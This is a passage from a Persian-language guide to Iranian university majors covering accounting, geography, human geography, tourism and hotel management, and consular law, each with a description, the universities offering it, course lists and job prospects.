    ۵۱ منطق ۱ ۵۲ منطق ۲
    ۵۳ منطق ۳ ۵۴ منطق(صناعات خمس)
    ۵۵ مکالمه انگلیسی ۱ ۵۶ مکالمه انگلیسی ۲
    ۵۷ مکالمه انگلیسی ۳ ۵۸ مکالمه عربی ۱
    ۵۹ مکالمه عربی ۲ ۶۰ مکالمه عربی ۳
    ۶۱ مکالمه عربی ۴ ۶۲ مکالمه عربی۵
    ۶۳ نحو ۱ ۶۴ نحو ۲
    ۶۵ نحو ۳ ۶۶ نحو ۴
    ۶۷ نحو ۵ ۶۸ نحو ۶
    ۶۹ نحو عالی ۱ ۷۰ نحو عالی ۲

    صنعت و بازار کار
    فارغ التحصیلان دوره کارشناسی این رشته پس از دستیابی به یک سلسله از معلومات اساسی و کلیدی در زمینه معارف اسلامی قادر خواهند بود در دوره های کارشناسی ارشد و سپس دکتری به ادامه تحصیل پرداخته و مالا یک دید جامع و گسترده نسبت به ابعاد گوناگون اسلام بدست آورده ،نقش موثری در پیشبرد فرهنگ اسلامی ایفا نمایند.

  36. حساب و حسابداری در تمام شئون زندگی کاربرد دارد در تمامی کارها سفارش شده تا حساب و کتاب بعنوان یک اصل مورد توجه قرار گیرد . به دلیل حساسیت هایی که شغل حسابداری دارد . فرد علاقمند به این رشته به طور طبیعی باید از امانتداری و حسن سابقه برخوردار باشد . دوره کاردانی حسابداری یکی از دوره های تحصیلی آموزش عالی است و هدف از آن آموزش تربیت افرادی است که پس از یک آموزش دو ساله وارد بازار کار گردیده و سمتی از نیازهای کشور را در زمینه امور مالی و حسابداری تامین نمایند.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آبادان *
    ۲ آزاد- آباده *
    ۳ آزاد- آزاد شهر *
    ۴ آزاد- آشتیان * ‌
    ۵ آزاد- ابرکوه *
    ۶ آزاد- اسلامشهر *
    ۷ آزاد- اشکور *
    ۸ آزاد- الیگودرز *
    ۹ آزاد- امیدیه * ‌
    ۱۰ آزاد- اندیمشک *
    ۱۱ آزاد- ایذه *
    ۱۲ آزاد- ایرانشهر *
    ۱۳ آزاد- ایلام *
    ۱۴ آزاد- بابل *
    ۱۵ آزاد- بافق *
    ۱۶ آزاد- بجنورد *
    ۱۷ آزاد- بروجن *
    ۱۸ آزاد- بناب *
    ۱۹ آزاد- بندر انزلی *
    ۲۰ آزاد- بهبها ن *
    ۲۱ آزاد- بیرجند *
    ۲۲ آزاد- پارس آباد مغان *
    ۲۳ آزاد- تبریز * ‌ ‌
    ۲۴ آزاد- تربت جام *
    ۲۵ آزاد- تربت حیدریه * ‌
    ۲۶ آزاد- تفرش *
    ۲۷ آزاد- تهران سما *
    ۲۸ آزاد- خرم آباد *
    ۲۹ آزاد- خرمشهر *
    ۳۰ آزاد- خمین *
    ۳۱ آزاد- دماوند *
    ۳۲ آزاد- دورود *
    ۳۳ آزاد- رشت *
    ۳۴ آزاد- رودهن *
    ۳۵ آزاد- سبزوار *
    ۳۶ آزاد- سراب *
    ۳۷ آزاد- سلماس *
    ۳۸ آزاد- سنندج *
    ۳۹ آزاد- سواد کوه *
    ۴۰ آزاد- سیرجان *
    ۴۱ آزاد- شاهرود *
    ۴۲ آزاد- شهرکرد *
    ۴۳ آزاد- شهریار *
    ۴۴ آزاد- شیراز *
    ۴۵ آزاد- شیروان *
    ۴۶ آزاد- طبس *
    ۴۷ آزاد- عجب شیر *
    ۴۸ آزاد- علی آباد کتول *
    ۴۹ آزاد- فلاورجان *
    ۵۰ آزاد- فیروزکوه *
    ۵۱ آزاد- فیروزآباد *
    ۵۲ آزاد- قایم شهر *
    ۵۳ آزاد- قزوین *
    ۵۴ آزاد- قیام دشت *
    ۵۵ آزاد- گچساران *
    ۵۶ آزاد- گرمسار *
    ۵۷ آزاد- لاهیجان *
    ۵۸ آزاد- ماکو *
    ۵۹ آزاد- مبارکه *
    ۶۰ آزاد- محلات *
    ۶۱ آزاد- مرند *
    ۶۲ آزاد- مرودشت *
    ۶۳ آزاد- مسجد سلیمان *
    ۶۴ آزاد- مشهد *
    ۶۵ آزاد- مشکین شهر *
    ۶۶ آزاد- ملایر *
    ۶۷ آزاد- ملکان *
    ۶۸ آزاد- میاندوآب *
    ۶۹ آزاد- میانه *
    ۷۰ آزاد- میمه *
    ۷۱ آزاد- نراق *
    ۷۲ آزاد- نطنز *
    ۷۳ آزاد- نوشهر و چالوس *
    ۷۴ آزاد- نی ریز *
    ۷۵ آزاد- هشترود *
    ۷۶ آزاد- کاشان *
    ۷۷ آزاد- کرمانشاه *
    ۷۸ آزاد- کلیبر *
    ۷۹ آزاد- کهنوج *
    ۸۰ آزاد- یاسوج ‌ * ‌
    ۸۱ آزاد- یزد *
    ۸۲ آزاد-اراک *
    ۸۳ آزاد-اردبیل * ‌
    ۸۴ آزاد-اردستان *
    ۸۵ آزاد-ارومیه *
    ۸۶ آزاد-اقلید *
    ۸۷ آزاد-بروجرد *
    ۸۸ آزاد-بوشهر * ‌
    ۸۹ آزاد-ماهشهر * ‌
    ۹۰ آزاد-نیشابور *
    ۹۱ آزاد-همدان *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و کاربرد آن در مدیریت ۲ اصول تنظیم و کنترل بودجه دولتی
    ۳ اصول حسابداری ۱ ۴ اصول حسابداری ۲
    ۵ اصول حسابداری ۳ ۶ اصول علم اقتصاد ۱ خرد
    ۷ اصول علم اقتصاد ۱ کلان ۸ برنامه نویسی کامپیوتر و کاربرد آن در حسابداری
    ۹ پول و ارز و بانکداری ۱۰ حسابداری
    ۱۱ حسابداری صنعتی ۱ ۱۲ حسابداری صنعتی ۲
    ۱۳ حسابدای دولتی ۱۴ حسابرسی ۱
    ۱۵ حقوق بازرگانی ۱۶ ریاضیات پایه
    ۱۷ ریاضیات و کاربرد آن در مدیریت ۱۸ زبان تخصصی
    ۱۹ زبان خارجی ۲ ۲۰ مالیه عمومی و خط مشی مالی دولت ها
    ۲۱ مبانی سازمان و مدیریت

    صنعت و بازار کار

    بنا بر طبیعت واحدهای گذرانده شده و کارآموزی های ضمن تحصیل، این فارغ التحصیلان در مشاغل تعریف شده حسابداری قابلیت انجام کارهای زیر خواهند داشت:
    انجام کلیه امور حسابدرای در موسسات بازرگانی بانکها
    واحدهای تولیدی و صنعتی
    اشتغال به حرفه حسابرسی در موسسات حسابرسی
    طرح و اجرای سیستمهای مالی در موسسات بازرگانی و صنعتی
    فارغ التحصیلان این دوره پس از کسب تجربه کافی می توانند در سطوح مختلف مدیریت مالی و حسابداری و حسابرسی انجام وظیفه نمایند.

  37. جغرافی
    جغرافیا علم فضا و مکان است. بنای محوری جغرافیا شناخت عوامل طبیعی، فرهنگی و فیزیکی مؤثر در مکانها، قسمت های قابل زیست و زندگی بر روی کره زمین است و هدف جغرافیا تشریح، تخمین و تفسیر الگوهای متغیر مکانی و فضائی است.
    بنابراین دانش جغرافیا از یک طرف به توصیف، بررسی، تجربه و تحلیل پدیده های مختلف محیط در عرصه های گوناگون آب و خاک و اقلیم و محیط زیست و نیز نحوه پراکندگی سازمان بندیهای اجتماعی و فعالیت های اقتصادی و پیامدهای ناشی از کنش های متناسب جوامع انسانی با محیط زیست می پردازد و از طرف دیگر می کوشد تا با شناخت علمی که نسبت به قانونمندیهای محیط طبیعی و جریانهای اجتماعی پیدا می کند، نقشی فعال در کاهش یا از بین بردن ناهماهنگی های فضایی و آفرینش چشم اندازهای فرهنگی بر عهده گیرد. این کار میسر نیست مگر با تکیه بر جنبه های علمی و کاربردی جغرافیا و اهمیتی که امروزه این علم در شناخت محیط زندگی انسان و راهگشائی و حل بسیاری از مسائل و مشکلات یافته است.
    بازشناسی جغرافیائی کشورمان نه تنها به لحاظ برنامه ریزی های اجتماعی، اقتصادی، سیاسی و نظامی و فضائی اهمیت دارد، بلکه به جهات اصولی دیگر نیز از اولویت خاصی برخوردار است. به تعبیری هیچ ملتی نمی تواند استقلال پیدا کند، الا اینکه خودش، خودش را بفهمد و تا زمانی که ملتها خودشان را گم کرده اند و دیگران را بجای خود نشانده اند، نمی توانند استقلال پیدا کنند.
    برای خودشناسی و خود فهمی، یعنی شناسائی وضع ایران، دانش جغرافیا می تواند گامهای مؤثر و استواری بردارد. هدف از ارائه این رشته شناخت ارزش کاربردی جغرافیا و نیز آگاهی از ضرورت کاربرد بررسیهای جغرافیائی در کلیه تصمیم گیریهای سیاسی- نظامی، اجتماعی، اقتصادی و فضا- مکانی است. جهت افزایش کارائی و توانائی دانشجویان در مورد مسائل گوناگون جغرافیا، در این رشته به مسافرت های پژوهشی و علمی و انجام عملیات میدانی توجه خاصی شده است.
    ضرایب دروس دبیرستانی مربوط به این رشته در آزمون ورودی دانشگاهها و مؤسسات آموزش عالی عبارتند از: ضریب ۲ برای درس ریاضی، ضریب ۲ برای درس اقتصاد، ضریب ۲ برای درس ادبیات فارسی، ضریب ۱ برای زبان عربی، ضریب ۳ برای درس تاریخ و جغرافیا، ضریب ۱ برای درس علوم اجتماعی، ضریب ۲ برای درس فلسفه و منطق و ضریب ۲ برای درس روانشناسی.
    علاقه و مطالعه و تحقیق در زمینه مسائل جغرافیائی و داشتن اطلاعات کافی در زمینه مسائل اقتصادی و اجتماعی- به خصوص در گرایش جغرافیای انسانی- همچنین داشتن سلامت جسمانی جهت انجام عملیات میدانی از عوامل مهم موفقیت در این رشته است .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- آشتیان *
    ۳ آزاد- اسلامشهر *
    ۴ آزاد- اهر *
    ۵ آزاد- اهواز *
    ۶ آزاد- بجنورد *
    ۷ آزاد- تربت حیدریه *
    ۸ آزاد- تهران *
    ۹ آزاد- خرم آباد *
    ۱۰ آزاد- رشت *
    ۱۱ آزاد- ساوه *
    ۱۲ آزاد- سمنان *
    ۱۳ آزاد- شهر بابک *
    ۱۴ آزاد- شیراز *
    ۱۵ آزاد- شیروان ‌ *
    ۱۶ آزاد- گرمسار *
    ۱۷ آزاد- لارستان *
    ۱۸ آزاد- مرند *
    ۱۹ آزاد- مشهد *
    ۲۰ آزاد- ملایر *
    ۲۱ آزاد- میبد *
    ۲۲ آزاد- نجف آباد *
    ۲۳ آزاد- نور *
    ۲۴ آزاد- نوشهر و چالوس *
    ۲۵ آزاد-آستارا *
    ۲۶ آزاد-اردبیل *
    ۲۷ آزاد-بروجرد *
    ۲۸ آزاد-زاهدان *
    ۲۹ امام حسین تهران * ‌
    ۳۰ بابلسر * ‌
    ۳۱ تبریز *
    ۳۲ تربیت معلم تهران *
    ۳۳ تربیت معلم سبزوار * ‌
    ۳۴ تهران ‌ *
    ۳۵ خوارزمی * ‌
    ۳۶ رازی کرمانشاه *
    ۳۷ زابل *
    ۳۸ زاهدان *
    ۳۹ زنجان *
    ۴۰ شهید بهشتی *
    ۴۱ شهیدچمران اهواز *
    ۴۲ صنعتی اصفهان *
    ۴۳ فردوسی مشهد *
    ۴۴ مازندران *
    ۴۵ یزد *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار و احتمالات ۱ ۲ آمار و احتمالات در جغرافیا ۲
    ۳ اصول و روشهای برنامه‌ریزی ناحیه‌ای ۴ اقلیم و بحرانهای محیطی
    ۵ انسان و محیط، طبیعی ۶ اکوسیستم‌های محیطی
    ۷ پایان‌نامه ۸ پایان‌نامه طبیعی
    ۹ تاریخ علم جغرافیا ۱۰ جغرافیای انسانی ایران
    ۱۱ جغرافیای قاره‌ها ۱۲ جغرافیای ناحیه‌ای ایران
    ۱۳ جغرافیای کواترنر ۱۴ جغرافیای کوچ نشینی
    ۱۵ حفاظت خاک ۱۶ روشها و تکنیکها در ژئومورفولوژی
    ۱۷ ریاضیات ۱ ۱۸ ریاضیات ۲
    ۱۹ زمین در فضا ۲۰ زمین شناسی برای جغرافیا
    ۲۱ زمین‌شناسی ایران ۲۲ ژئومرفولوژی اقلیمی
    ۲۳ ژوهیدرولوژی ۲۴ فلسفه جغرافیا و جغرافیای کاربردی
    ۲۵ فیزیک پایه ۲۶ مبانی جغرافیای اقتصادی ۱ کشاورزی
    ۲۷ مبانی جغرافیای جمعیت ۲۸ مبانی ژئومرفولوژی ۲ دینامیک
    ۲۹ مبانی علم جغرافیا ۳۰ مبانی محیط زیست
    ۳۱ متون جغرافیا به زبان انگلیسی ۱ ۳۲ میکروکلیمای مقدماتی
    ۳۳ مکتبهای جغرافیایی ۳۴ نقشه برداری ۱
    ۳۵ نقشه خوانی ۳۶ نقشه ها و نمونه دارهای ژئومرفلوژی
    ۳۷ نواحی اقلیمی ایران و توانهای انها ۳۸ هیدرولوژی کاربردی
    ۳۹ واحدهای ژئومورفولوژی ایران ۴۰ کاربرد آمار در جغرافیای طبیعی
    ۴۱ کاربرد عکسهای هوایی و ماهواره ای درجغرافیا ۴۲ کاربرد کامپیوتر در جغرافیا
    ۴۳ کارهای عملی ژئومورفولوژی

    صنعت و بازار کار
    دانش آموزانی که رشته جغرافی را انتخاب می کنند در مرحله اول می توانند به عنوان دبیر جغرافی در آموزش و پرورش مشغول کار شوند و در صورتی که بتوانند دوران تحصیلی خود را با پشتکار سپری کنند یا ادامه تحصیل برای کارشناسی ارشد یا بالاتر بدهند در موسسات تحقیقاتی که بررسی مسائل جغرافیائی را به عهده دارند یا سازمان نقشه برداری کشور مشغول کار می شوند.

  38. جغرافیای انسانی
    جغرافیا در مفهوم علمی و امروزین خود ، علم مکان و فضا است و موضوع آن پدیده های طبیعی و انسانی است که جهان و مکانهای متنوع آن را بوجود می آورد.
    مسئله محوری جغرافیا شناخت عوامل طبیعی ، فرهنگی و فیزیکی موثر در مکان ها و فضا های زیست و زندگی بر روی کره زمین است و وظیفه جغرافیدان تشریح ، تحلیل و تفسیر الگوهای متغیر مکانی فضایی است : بنابر این دانش جغرافیا از یکسو به توصیف ، بررسی تجزیه و تحلیل پدیده های مختلف محیط طبیعی در عرصه های گوناگون آب و خاک و اقلیم و محیط زیست و نیز نحوه پراکندگی سازمان بندی های اجتماعی و فعالیتهای اقتصادی و پیامدها ی حاصل از کنش های متقابل جوامع انسانی با محیط زیست می پردازد و از سوی دیگر می کوشد تا با شناخت علمی که نسبت به قانون مندی های محیط طبیعی و جریان های اجتماعی پیدا می کند نقشی فعال در کاهش و یا از میان بردن ناهماهنگی های فضایی و آفرینش چشم اندازهای فرهنگی برعهده گیرد.
    هدف
    با تکیه برجنبه های علمی – کاربردی جغرافیا و اهمیتی که امروزه این علم در شناخت محیط زندگی انسان و راه گشایی و حل بسیاری از مسائل و مشکلات یافته است ، هدف اصلی از آموزش جغرافیای طبیعی در گرایشهای اقلیم و ژئومورفولوژی ، آموزش صحیح مبانی ، روش ها و تکنیک های لازم برای شناخت محیط طبیعی ، مدیریت و بهره گیری عقلایی از توان های طبیعی محیط است و هدف محوری از آموزش جغرافیای انسانی در گرایشهای لازم برای شناخت حوزه های زیست و معیشت های انسانی اعم از کوچ نشینی ، روستا نشینی و شهر نشینی و آشنایی با روشهای تحلیل و برنامه ریزی به منظور همیاری در حل مشکلات این جوامع می باشد.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- اسفراین *
    ۳ آزاد- تهران مرکزی *
    ۴ آزاد- رشت *
    ۵ آزاد- سمنان *
    ۶ آزاد- شهر بابک *
    ۷ آزاد- شهرری *
    ۸ آزاد- شیروان *
    ۹ آزاد- گرمسار *
    ۱۰ آزاد- مشهد *
    ۱۱ آزاد- نور *
    ۱۲ آزاد- نوشهر و چالوس *
    ۱۳ اصفهان *
    ۱۴ تربیت معلم تهران *
    ۱۵ تربیت معلم سبزوار *
    ۱۶ تهران *
    ۱۷ زابل *
    ۱۸ زاهدان *
    ۱۹ زنجان *
    ۲۰ شهید بهشتی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آب و هوای کره زمین ۲ آب و هوای ایران
    ۳ آمار و احتمالات ۱ ۴ آمار و احتمالات ۲ کاربرد آمار در جغرافیا
    ۵ اصول سنجش از دور ۶ اصول علم اقتصاد
    ۷ اصول و روشهای برنامه‌ریزی ناحیه‌ای ۸ پژوهش میدانی در جغرافیا
    ۹ تاریخ علم جغرافیا ۱۰ جغرافیا و صنعت توریسم
    ۱۱ جغرافیای جمعیت ایران ۱۲ جغرافیای روستایی ایران
    ۱۳ جغرافیای شهری ایران ۱۴ جغرافیای کوچ نشینی
    ۱۵ جغرافیای آبها ۱۶ جغرافیای تاریخی (با تاکید بر ایران)
    ۱۷ جغرافیای خاکها ۱۸ جغرافیای زیستی
    ۱۹ جغرافیای سیاسی ۲۰ روش تحقیق (نظری)
    ۲۱ ریاضیات ۱ ۲۲ ریاضیات ۲
    ۲۳ زمین در فضا ۲۴ زمین شناسی برای جغرافیا
    ۲۵ ژئومورفولوژی ایران ۲۶ فلسفه جغرافیا و جغرافیای کاربردی
    ۲۷ کامپیوتر در جغرافیا ۲۸ مبانی اقلیم شناسی
    ۲۹ مبانی جغرافیای اقتصادی ۱ کشاورزی ۳۰ مبانی جغرافیای اقتصادی ۲
    ۳۱ مبانی جغرافیای جمعیت ۳۲ مبانی جغرافیای روستایی
    ۳۳ مبانی جغرافیای شهری ۳۴ مبانی ژئومرفولوژی ۲ دینامیک
    ۳۵ مبانی ژئومورفولوژی ۱ : ساختمانی ۳۶ مبانی علم جغرافیا
    ۳۷ متون جغرافی انسانی ۱ ۳۸ متون جغرافی انسانی ۲
    ۳۹ منابع و مآخذ جغرافیای ایران ۴۰ منابع و مسائل آب ایران
    ۴۱ نظریه های اقتصاد و اقتصاد توسعه ۴۲ نقشه برداری ۱
    ۴۳ نقشه برداری ۲ ۴۴ نقشه خوانی
    ۴۵ نقشه و نمودار در جغرافی انسانی ۴۶ ویژگی جغرافیایی کشورهای اسلامی
    ۴۷ ویژگی جغرافی انسانی مناطق خشک ایران ۴۸ ویژگی جغرافیا آسیای میانه
    ۴۹ ویژگی جغرافی کشور توسعه یافته ۵۰ کاربرد جغرافی طبیعی در برنامه ریزی
    ۵۱ کاربرد عکسهای هوایی و ماهواره ای درجغرافیا ۵۲ کارتوگرافی (نقشه کشی)

    صنعت و بازار کار
    داوطلبان شرکت کننده در این رشته در صورت داشتن دیپلم ریاضی فیزیک یا علوم تجربی می توانند در کنکور سراسری در این رشته شرکت نمایند.
    گروههای جغرافیایی متقاضی تاسیس این رشته ضرورتاً به غیر از شرایط عام ملزم به داشتن یک عضو کادر علمی با درجه دکتری در رشته های جغرافیا و برنامه ریزی شهری، برنامه ریزی شهری و برنامه ریزی منطقه ای می نامند.
    دانشجویان این رشته حداقل باید در ۱۵ روز گردش علمی شرکت کنند که نحوه اجرای آن توسط گروه مجری تعیین می شود.

  39. مدیریت جهانگردی و هتل داری

    img/daneshnameh_up/3/31/BBBB.GIF
    با عنایت به قانون توسعه اقتصادی و اجتماعی و فرهنگی کشور و با امعان نظریه اهمیت ویژه صنعت ایرانگردی و جهانگردی در کسب درآمدهای غیرنفتی و ارتقاء سطح تفاهم بین ملتها و تحکیم مبانی وحدت ملی در کشور و ارائه شناختی اصولی از جمهوری اسلامی ایران و دستاوردهای آن به جهانیان و نقش اساسی و مهم آموزش در تحقق این اهداف و همچنین در راستای اجرای مصوبه سیصدمین جلسه شورای عالی انقلاب و ارشاد اسلامی طرح مشخصات کلی دوره کارشناسی رشته های مدیریت جهانگردی و هتلداری تهیه و تدوین گردید.
    نظر به تاکید صریح قران کریم و شارع دین اسلام بر ضرورت امر جهانگردی و نقش آن در بسط روابط بین الملل و گسترش منابع اقتصادی کشور و همچنین لزوم تربیت متخصصان کارآمد در جهت ارتقاء کیفی سطح ارائه خدمات دست اندرکاران این صنعت رشته های مدیریت جهانگردی و هتلداری تاسیس می گردد.
    دوره های کارشناسی مدیریت جهانگردی و هتلداری ۴ سال خواهد بود. نظام آموزشی این دوره ها واحدی است و کلیه دروس نظری و عملی آن در ۸ سال نیمسال تحصیلی ارائه می شود. مدت هر نیمسال تحصیلی ۱۷ هفته و حداقل زمان لازم برای هر واحد نظری یک ساعت در هفته و برای دروس عملی حداقل ۲ ساعت تعیین می گردد. درس کارآموزی در ایام تعطیل تابستانی بعد از سال سوم طبق برنامه ای که توسط مرکز آموزش عالی تدوین خواهد شد انجام می پذیرد.
    اعطاء دانشنامه به فارغ التحصیلان این رشته ها منوط به ارائه گواهی پایان دوره کارورزی خواهد بود.
    تعداد کل واحد های آموزشی و کارورزی رشته های مدیریت جهانگردی ۱۳۲ واحد و رشته مدیریت هتلداری ۱۳۳ واحد می باشد.
    توضیح: نظر به ضرورت تسلط دانشجویان به زبان دوم، یکی از زبان های فرانسه، آلمانی، عربی به عنوان زبان دوم در نظر گرفته شده که طبق جدول ذیل و براساس انتخاب دانشجو ملزم به گذراندن آن می باشد.
    ۱- عربی ۴ واحد
    ۲- فرانسه ۴ واحد
    ۳- آلمانی ۴ واحد

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران * *
    ۲ آزاد- سواد کوه *
    ۳ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ بهداشت مواد غذائی ۲ آشپزی (۱)
    ۳ آشپزی (۲) ۴ آشنایی با موزه های ایران
    ۵ آمار کاربردی در مدیریت جهانگردی ۶ اصول تغذیه و رژیمهای غذائی
    ۷ اصول حسابداری ۱- جهانگردی ۸ اصول حسابداری ۲- جهانگردی
    ۹ اصول سازمان و مدیریت (۱) ۱۰ اصول سازمان و مدیریت (۲)
    ۱۱ اصول علم اقتصاد ۱ (خرد- جهانگردی) ۱۲ اصول علم اقتصاد ۲
    ۱۳ اقتصاد جهانگردی ۱۴ امور مسافرت و صدور بلیط
    ۱۵ انقلاب اسلامی و ریشه‌های آن ۱۶ باستان شناسی ایران
    ۱۷ باستان شناسی پیش از تاریخ ایران ۱۸ برنامه ریزی توسعه جهانگردی
    ۱۹ برنامه ریزی و سرپرستی گشتها جهانگردی ۲۰ بهداشت و کمکهای اولیه
    ۲۱ بهداشت کار و ایمنی ۲۲ پذیره (۱)
    ۲۳ پذیره (۲) ۲۴ تاریخ اسلام
    ۲۵ تاریخ ایران ۲۶ تاریخ فرهنگ ایران ۱
    ۲۷ تاریخ فرهنگ ایران ۲ ۲۸ تجزیه و تحلیل مسائل اجتماعی ایران
    ۲۹ تربیت بدنی ۲ ۳۰ تربیت بدنی ۱
    ۳۱ جغرافیای جهانگردی ایران ۳۲ جغرافیای جهانگردی ایرانچ
    ۳۳ جغرافیای جهانگردی عمومی ۳۴ حسابداری هتلداری
    ۳۵ حقوق اساسی ۳۶ حقوق کار و تأمین اجتماعی
    ۳۷ خانه داری (۱) ۳۸ خانه داری (۲)
    ۳۹ خدمات رستوران (۱) ۴۰ خدمات رستوران (۲)
    ۴۱ روابط عمومی ۴۲ روان شناسی عمومی (جهانگردی)
    ۴۳ روش تحقیق ۴۴ ریاضیات کاربردی در مدیریت جهانگردی
    ۴۵ زبان انگلیسی ۱ ۴۶ زبان انگلیسی ۲
    ۴۷ زبان انگلیسی تخصصی ۱ ۴۸ زبان انگلیسی تخصصی ۲
    ۴۹ زبان انگلیسی مکاتبات تخصصی ۵۰ زبان انگلیسی مکالمه
    ۵۱ زبان خارجی ۵۲ زبان دوم (۱)
    ۵۳ زبان دوم (۲) ۵۴ شناخت روحیات ملل
    ۵۵ شناخت صنایع دستی ایران ۵۶ شناخت صنعت جهانگردی
    ۵۷ شناخت و فرهنگ اقلیتهای ایران ۵۸ شناخت و نگهداری تأسیسات هتل
    ۵۹ شناخت و کاربرد کامپیوتر ۶۰ شیرینی پزی (۱)
    ۶۱ شیرینی پزی (۲) ۶۲ عوارض و نتایج توریسم
    ۶۳ فارسی ۶۴ فرهنگ عامه
    ۶۵ فن راهنمائی ۶۶ قوانین و مقررات حقوقی جهانگردی
    ۶۷ قوانین و مقررات حقوقی صنعت جهانگردی و هتلداری ۶۸ گذراندن اوقات فراغت
    ۶۹ مبانی جامعه شناسی، روان شناسی اجتماعی ۷۰ مبانی حامعه شناسی
    ۷۱ مبانی سازمان و مدیریت ۷۲ مبانی مردم شناسی
    ۷۳ مبانی و کاربرد کامپیوتر در جهانگردی ۷۴ مبانی کشور شناسی
    ۷۵ متون اسلامی ۷۶ محاسبه قیمت تمام شده
    ۷۷ مدیریت بازاریابی و تبلیغات ۷۸ مطالب شرح حال بزرگانی که آنان بصورت آثار
    ۷۹ مطالعات تطبیقی سیاستهای جهانگردی ۸۰ معارف اسلامی ۲
    ۸۱ نقشه خوانی و آشنایی با نقشه ۸۲ هنر و معماری ۲
    ۸۳ هنر و معماری ایران ۱ ۸۴ کارآموزی
    ۸۵ کاربرد کامپیوتر در صنعت جهانگردی و هتلداری ۸۶ کلمات اقتصاد

    صنعت و بازار کار
    img/daneshnameh_up/3/31/GGGGGG.GIF
    برای شما دانش آموزان واضح است که وجود هتل چه برای افراد داخل یک ملت و چه برای مسافرین خارجی یک اصل ضروری است و بدست آوردن درآمد از طریق مسافرت و صنعت توریسم آنقدر رونق یافته که کشور ما نیز با همه مشکلاتی که در پیش رو دارد تصمیم به ایجاد این رشته درآمدزا نموده و آنچه در این شغل اهمیت دارد هماهنگی تمامی بخش های کشور برای رونق این صنعت مهم و حیاتی است به هر حال محل اشتغال فارغ التحصیلان این رشته در مرحله اول هتل هاست و اگر شغلی در هتل ها نیافت هر مکانی که کار هتلداران را انجام می دهند محل اشتغال آنهاست.

  40. حقوق کنسولی

    مقدمه

    امروزه ارتباطات فعال با دیگر کشورها یعنی خروج از انزوا ، استفاده از امکانات به صورت مشترک , کاهش هزینه ها و در نهایت افزایش بهره وری ، طبیعی است که با توجه به تنوع فرهنگ ها و قوانین کشورها باید با زبان هر کشور به صورت جداگانه و حرفه ای برخورد کرد تا بتوان فرصت ها را به بهترین وجه مورد توجه و استفاده قرار داد. دوره کارشناسی حقوقی – کنسولی در برگیرنده موضوعاتی است که از دروس مختلف حقوقی ، حقوق بین الملل و کنسولی تشکیل شده است .
    هدف از تاسیس این دوره تربیت کارشناسانی است که از اطلاعات کافی در زمینه های حقوقی و کنسولی برخوردار بوده تا بتوانند در نمایندگیهای سیاسی و کنسولی جمهوری اسلامی ایران در خارج از کشور امور جاری اتباع ایران که در آن کشورها اقامت دارند اعم از احوال شخصیه ، امور دانشجویی ، امور فرهنگی صدور ، تمدید و تجدید ، گذرنامه روادید را انجام دهند .
    ضرورت و اهمیت :
    وزارت امور خارجه بعنوان نهاد مسئول اجرای سیاست خارجی و حمایت از منافع و اتباع دولت جمهوری اسلامی ایران در خارج از کشور نیازمند به استفاده از تخصص و تعهد افرادی است که شایسته تحقق بخشیدن به این وظیفه سنگین و خطیر در بخش های کنسولی سفارتخانه ها یا سرکنسولگریهای جمهوری اسلامی ایران در خارج از کشور باشند .

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ دانشکده وزارت امور خارجه تهران *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ استرداد مجرمین و نیابت قضائی ۲ اصول روابط بین الملل
    ۳ اقتصاد بین‌الملل ۴ امینیت ملی و سازمانهای اطلاعاتی
    ۵ اندیشه های سیاسی در جهان اسلام ۶ پروژه
    ۷ پناهندگی و مهاجرت ۸ تاریخ تحولات سیاسی و اجتماعی صد ساله اخیر ایران
    ۹ تاریخ روابط بین الملل از ۱۹۱۴ تا امروز ۱۰ تاریخ عقاید سیاسی در شرق
    ۱۱ تاریخ عقاید سیاسی در غرب ۱۲ تجزیه و تحلیل سیاست خارجی
    ۱۳ جامعه شناسی سیاسی ۱۴ حقوق بشر
    ۱۵ حقوق بین‌الملل خصوصی ۱ ۱۶ حقوق بین‌الملل خصوصی ۲
    ۱۷ حقوق بین‌الملل عمومی ۱ ۱۸ حقوق بین‌الملل عمومی ۲
    ۱۹ حقوق بین الملل از دیدگاه اسلامی ۲۰ حقوق بین المللی جنگ و بیطرفی
    ۲۱ حقوق دریاها ۲۲ حقوق دریایی بین المللی
    ۲۳ حقوق دیپلماتیک و کنسولی ۲۴ حقوق مدنی ۱
    ۲۵ حقوق مدنی ۲ ۲۶ حقوق معاهدات
    ۲۷ حقوق هوایی بین المللی ۲۸ حل مسالمت آمیز اختلافات بین المللی
    ۲۹ خلیج فارس و مسایل آن ۳۰ روابط خارجی ایران از انقراض قاجاریه تا انقلاب
    ۳۱ روابط فرهنگی بین المللی ۳۲ روانشناسی سیاسی
    ۳۳ روش تحقیق در علوم سیاسی ۳۴ سازمانهای بین اللملی
    ۳۵ سیاست خارجی جمهوری اسلامی ایران ۳۶ سیاست خارجی در آمریکا
    ۳۷ سیاست خارجی در شوروی ۳۸ سیاست و حکومت در اسلام
    ۳۹ مبانی جامعه شناسی عمومی ۴۰ مبانی علم سیاست
    ۴۱ مبانی علم اقتصاد ( اقتصاد کلان) ۴۲ مبانی علم اقتصاد (اقتصاد خرد)
    ۴۳ مبانی و کلیات حقوق ۴۴ مسائل سیاسی و اقتصادی نفت
    ۴۵ مسایل نظامی و استراتژیک معاصر ۴۶ مفهوم تجاوز در حقوق بین المللی
    ۴۷ منطق ۴۸ نظام مهم حقوقی معاصر
    ۴۹ کارورزی ۵۰ کلیات حقوق اساسی و حقوق اساس جمهوری اسلامی ایران

    صنعت و بازار کار
